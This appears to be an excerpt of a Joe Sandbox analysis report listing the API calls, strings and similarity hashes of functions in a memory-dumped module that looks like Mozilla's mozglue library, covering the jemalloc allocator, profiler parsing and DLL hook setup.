EnterCriticalSection.KERNEL32(?), ref: 6CAB0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CAB0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CAB0FB7
EnterCriticalSection.KERNEL32(?), ref: 6CAB0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CAB1031
LeaveCriticalSection.KERNEL32(?), ref: 6CAB10D0
EnterCriticalSection.KERNEL32(?), ref: 6CAB117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CAB1C39
EnterCriticalSection.KERNEL32(6CAFE744), ref: 6CAB3391
LeaveCriticalSection.KERNEL32(6CAFE744), ref: 6CAB33CD
LeaveCriticalSection.KERNEL32(?), ref: 6CAB3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAB3437

Strings

<jemalloc>, xrefs: 6CAB3941, 6CAB39F1
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CAB3793
MALLOC_OPTIONS, xrefs: 6CAB35FE
MOZ_CRASH(), xrefs: 6CAB3950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CAB37A8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CAB37D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAB3559, 6CAB382D, 6CAB3848
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CAB37BD
Compile-time page size does not divide the runtime one., xrefs: 6CAB3946
: (malloc) Unsupported character in malloc options: ', xrefs: 6CAB3A02

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: bf72d32ab0ce568a75617555ec26d47f2dc711f0427769758f5bf05bc3ceb3ed
Instruction ID: ee084be69b5ad2f7759a6d33b62ea02c8513a9961aca7a770769e8f7c2abfcd4
Opcode Fuzzy Hash: bf72d32ab0ce568a75617555ec26d47f2dc711f0427769758f5bf05bc3ceb3ed
Instruction Fuzzy Hash: 06538F71A067018FD304CF29C544615FBE5BF89328F29C76DE8A9AB791D771E882CB81

Function 6CAD34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD3EE2

Part of subcall function 6CAD6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CAD61DD
Part of subcall function 6CAD6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CAD622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD4157

Part of subcall function 6CAD6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CAD6250
Part of subcall function 6CAD6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAD6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAD4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAD484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAD4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAD4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CAD4896
free.MOZGLUE ref: 6CAD489F

Strings

, xrefs: 6CAD4CD2

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 3b57e5bdf2985c51d94e8a26fb49dd9560f803b9f09da04821de3e97c0c22406
Instruction ID: 734610d363f9b26715da1d89a106237c66bde61f912b0160da7e7aafe97c2ad4
Opcode Fuzzy Hash: 3b57e5bdf2985c51d94e8a26fb49dd9560f803b9f09da04821de3e97c0c22406
Instruction Fuzzy Hash: 33F25E749087818FC765CF28C08469AFBF1FFC9348F158A5ED99997711DB31A886CB82

Function 6CA864C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CA864DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CA864F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CA86505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CA86518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CA8652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CA8671C
GetCurrentProcess.KERNEL32 ref: 6CA86724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CA8672F
GetCurrentProcess.KERNEL32 ref: 6CA86759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CA86764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CA86A80
GetSystemInfo.KERNEL32(?), ref: 6CA86ABE
__Init_thread_footer.LIBCMT ref: 6CA86AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA86AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA86AF7

Strings

user32.dll, xrefs: 6CA86526
nvdxgiwrap.dll, xrefs: 6CA86513
_etoured.dll, xrefs: 6CA864ED
nvd3d9wrap.dll, xrefs: 6CA86500
detoured.dll, xrefs: 6CA864DA
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CA86798

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: fd468d29264d5bed351e51dbf00950fe2ca7678719a55d52823265ef25f60c55
Instruction ID: f603ee9e06e48716867b21f47621e41dce44580a0b35688719d61a82b581751a
Opcode Fuzzy Hash: fd468d29264d5bed351e51dbf00950fe2ca7678719a55d52823265ef25f60c55
Instruction Fuzzy Hash: B5F1F3709122199FEB20CF64DD88B9AB7B5AF05318F1882D9D819A3781D731AEC5CF90

Function 6CADC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CADC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CADC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CADC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CADC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CADC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CADCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CADCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CADDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CADDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CADDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CADDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CADDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CADE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CADE432
memcpy.VCRUNTIME140(?,?,?), ref: 6CADE472

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: c97290d6bea31465f9f021738fb080e5b7447e5d1edb2b1a923b747d93d64da0
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: C9337E71E0021A8FCB14CFA8C8806EDBBF2FF49314F294269D955AB755D731B985CBA0

Function 6CA8FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAFE7B8), ref: 6CA8FF81
LeaveCriticalSection.KERNEL32(6CAFE7B8), ref: 6CA9022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CA90240
EnterCriticalSection.KERNEL32(6CAFE768), ref: 6CA9025B
LeaveCriticalSection.KERNEL32(6CAFE768), ref: 6CA9027B

Strings

<jemalloc>, xrefs: 6CA90D62, 6CA90D76, 6CA90DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA8FE99, 6CA8FEB7, 6CA8FED3, 6CA90DB8, 6CA90DD3, 6CA919B4
: (malloc) Error in VirtualFree(), xrefs: 6CA90D67, 6CA90D7B, 6CA90DAC

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 712efe28b9f60f76a3adab9d96a22d2595ab1fd754a548800ab160933c4fba09
Instruction ID: af28f882a719f15cb17938d21e330f34cbd7f6d4915913dd7064622eb1eaa792
Opcode Fuzzy Hash: 712efe28b9f60f76a3adab9d96a22d2595ab1fd754a548800ab160933c4fba09
Instruction Fuzzy Hash: 4CC2EF71A157418FD714CF28C981716BBF1BF89328F28C66DE9A98B795C731E881CB81

Function 6CADE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CADE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CADEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CADEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CADEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CADF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CADF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAE0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CAE0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CAE0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CAE0ED4

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 26cbbad5ed322ac5e426e587dd5aa20d442fd6bbc34199abb0a9923211e9ace6
Instruction ID: bd58075a808b6c5638ebd82e04c95bd904bbd2fa668aaacaf50d356462a0ebfe
Opcode Fuzzy Hash: 26cbbad5ed322ac5e426e587dd5aa20d442fd6bbc34199abb0a9923211e9ace6
Instruction Fuzzy Hash: 3F637F71E0025A8FCB04CFACC8906DDFBB2FF89314F298269D955AB755D730A985CB90

Function 6CA9ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CA9EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CA9EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CAA1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAA16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CAA1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CAA1A3E

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: e38032f6ee92ab5a29ab7b32c72a8c47266465f8533d1217d62794dd7f76b8e9
Instruction ID: e88e75613f5e36839e3ad372fbdb196764629d3ad9c38cbe17900fbab522137f
Opcode Fuzzy Hash: e38032f6ee92ab5a29ab7b32c72a8c47266465f8533d1217d62794dd7f76b8e9
Instruction Fuzzy Hash: 5FB31A71E01219CFCB14CFA9C890AADB7B2FF49304F1982A9D559AB745D730AD86CF90

Function 6CA8FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAFE7B8), ref: 6CA8FF81
LeaveCriticalSection.KERNEL32(6CAFE7B8), ref: 6CA9022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CA90240
EnterCriticalSection.KERNEL32(6CAFE768), ref: 6CA9025B
LeaveCriticalSection.KERNEL32(6CAFE768), ref: 6CA9027B

Strings

MOZ_CRASH(), xrefs: 6CA90CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA8FE99, 6CA8FEB7, 6CA8FED3, 6CA90DB8, 6CA90DD3, 6CA919B4, 6CA91A10

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 3b3a619133830a6657c4e82c036a755b21ccec9563e60f68d13bf27cf7ac587a
Instruction ID: 815cd3e46248ee1fe158a9a47f76cfe7243a52dfc427ca9911814d6e1fff1745
Opcode Fuzzy Hash: 3b3a619133830a6657c4e82c036a755b21ccec9563e60f68d13bf27cf7ac587a
Instruction Fuzzy Hash: 8CB2CF716157418FD718CF28C591726BBE1BF89328F28C66CE96A8B795C770E881CB81

Function 6CAC5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Count entry, xrefs: 6CAC5AC3
data, xrefs: 6CAC6131
ProfileBuffer parse error: %s, xrefs: 6CAC5AC8, 6CAC5CBB
name, xrefs: 6CAC5E79, 6CAC5E8F
expected a Time entry, xrefs: 6CAC5CB6
schema, xrefs: 6CAC606D

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: d418d9b908ea22927d4ffd89fa33ff81e4c1ba85cafc87ef53a866a3a7a6abbf
Instruction ID: aef20fad355a570de30847f12a1754fa3eb81e218bf429de188babcc5f9e60e4
Opcode Fuzzy Hash: d418d9b908ea22927d4ffd89fa33ff81e4c1ba85cafc87ef53a866a3a7a6abbf
Instruction Fuzzy Hash: 1C924AB1A083418FD724CF19C59079ABBE1BFC9308F14891DE59A9B751DB30E889DB93

Function 6CAC2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CAC2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAC2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6CAC2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAC3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAC3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAC36BF

Strings

set , xrefs: 6CAC36EC
get , xrefs: 6CAC3205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6CAC378D

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 4e91a738db78effdf77ac90543323990ea4ea77e520977407b7c97bb8ddf7da7
Instruction ID: e928f0b763ff22c3cf6f6370c07d786c501060fa9426f87761553eac56dbf601
Opcode Fuzzy Hash: 4e91a738db78effdf77ac90543323990ea4ea77e520977407b7c97bb8ddf7da7
Instruction Fuzzy Hash: 18326DB06093818FD724CF24C4806AFBBE2AFC9318F54891DE5DA87751DB31998ACB57

Function 6CAB7E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6CAB8280, 6CAB83E1
(pre-xul), xrefs: 6CAB7E88
name, xrefs: 6CAB7ECF, 6CAB8335
schema, xrefs: 6CAB81E3, 6CAB8311

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 5cbd736b4a671a5d1ef809bc61fd326d578c871bd5bef254cf97b5e9ba7dfc11
Instruction ID: e9eddafc393b9cd2a11bedc5382c7ec20abdb4a98f40ba1ec84df22dfdca2600
Opcode Fuzzy Hash: 5cbd736b4a671a5d1ef809bc61fd326d578c871bd5bef254cf97b5e9ba7dfc11
Instruction Fuzzy Hash: B0E180B1A053418BC710CF68884166BFBE9FFC9314F148A2DE895E7790DBB0DD898B91

Function 6CA9D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAFE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAAD1C5), ref: 6CA9D4F2
LeaveCriticalSection.KERNEL32(6CAFE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAAD1C5), ref: 6CA9D50B

Part of subcall function 6CA7CFE0: EnterCriticalSection.KERNEL32(6CAFE784), ref: 6CA7CFF6
Part of subcall function 6CA7CFE0: LeaveCriticalSection.KERNEL32(6CAFE784), ref: 6CA7D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAAD1C5), ref: 6CA9D52E
EnterCriticalSection.KERNEL32(6CAFE7DC), ref: 6CA9D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA9D6A6
LeaveCriticalSection.KERNEL32(6CAFE7DC), ref: 6CA9D712
LeaveCriticalSection.KERNEL32(6CAFE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAAD1C5), ref: 6CA9D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA9D7EA

Strings

<jemalloc>, xrefs: 6CA9D827
: (malloc) Error initializing arena, xrefs: 6CA9D82C

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

Associated: 00000000.00000002.2771307090.000000006CA70000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771436307.000000006CAFE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca70000_vMRlWtVCEN.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 6ec9bc19ad4231d29ab081c363a30b57211be1f551f262b908cbb13dad38e22b
Instruction ID: 2fc2073323e9c246852f750d51861ea936723b6199c4a27ef68502fdfcf8ff2f
Opcode Fuzzy Hash: 6ec9bc19ad4231d29ab081c363a30b57211be1f551f262b908cbb13dad38e22b
Instruction Fuzzy Hash: FA91D371E247418FD718CF28D59176AB7F1EB85318F18892EE56AC7A81D730E8C5CB82

Function 6CA95E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA95EDB
memset.VCRUNTIME140(6CAD7765,000000E5,55CCCCCC), ref: 6CA95F27
LeaveCriticalSection.KERNEL32(?), ref: 6CA95FB2
memset.VCRUNTIME140(6CAD7765,000000E5,AFC09015), ref: 6CA961F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CA97652

Strings

MOZ_CRASH(), xrefs: 6CA97BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA972E3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA9730D
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA97BCD, 6CA97C1F, 6CA97C34, 6CA980FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA972F8

Memory Dump Source

Source File: 00000000.00000002.2771330170.000000006CA71000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA70000, based on PE: true

